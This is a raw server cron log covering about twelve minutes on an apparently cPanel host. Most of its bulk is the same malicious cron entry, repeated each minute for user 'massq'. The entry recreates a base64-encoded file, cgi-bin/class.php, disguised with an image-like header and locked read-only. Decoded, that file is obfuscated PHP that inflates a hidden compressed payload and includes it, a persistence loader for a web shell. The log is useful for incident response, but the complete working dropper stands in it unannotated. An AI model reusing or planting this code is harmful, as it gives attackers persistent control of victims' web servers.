Sep 11 17:32:01 server CROND[22548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:32:01 server CROND[22549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:33:01 server CROND[23197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:33:01 server CROND[23198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:33:01 server CROND[23199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:34:01 server CROND[23577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:34:01 server CROND[23578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:34:01 server CROND[23579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:35:01 server CROND[23975]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 17:35:01 server CROND[23979]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:35:01 server CROND[23982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:35:01 server CROND[23981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:35:01 server CROND[23984]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 17:35:01 server CROND[23986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:35:01 server CROND[23985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:35:01 server CROND[23980]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 17:35:01 server CROND[23983]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 17:36:01 server CROND[24839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:36:01 server CROND[24840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:36:01 server CROND[24841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:37:01 server CROND[25227]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:37:01 server CROND[25228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:37:01 server CROND[25226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:38:01 server CROND[25674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:38:01 server CROND[25675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:38:01 server CROND[25676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:39:01 server CROND[26089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:39:01 server CROND[26091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:39:01 server CROND[26092]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 17:39:01 server CROND[26090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:40:01 server CROND[26483]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 17:40:01 server CROND[26490]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:40:01 server CROND[26492]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 17:40:01 server CROND[26491]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 17:40:01 server CROND[26493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:40:01 server CROND[26494]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:40:01 server CROND[26499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:40:01 server CROND[26497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:41:01 server CROND[27321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:41:01 server CROND[27322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:41:01 server CROND[27324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:42:01 server CROND[27711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:42:01 server CROND[27712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:42:01 server CROND[27713]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 17:42:01 server CROND[27714]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:43:01 server CROND[28094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:43:01 server CROND[28095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:43:01 server CROND[28096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
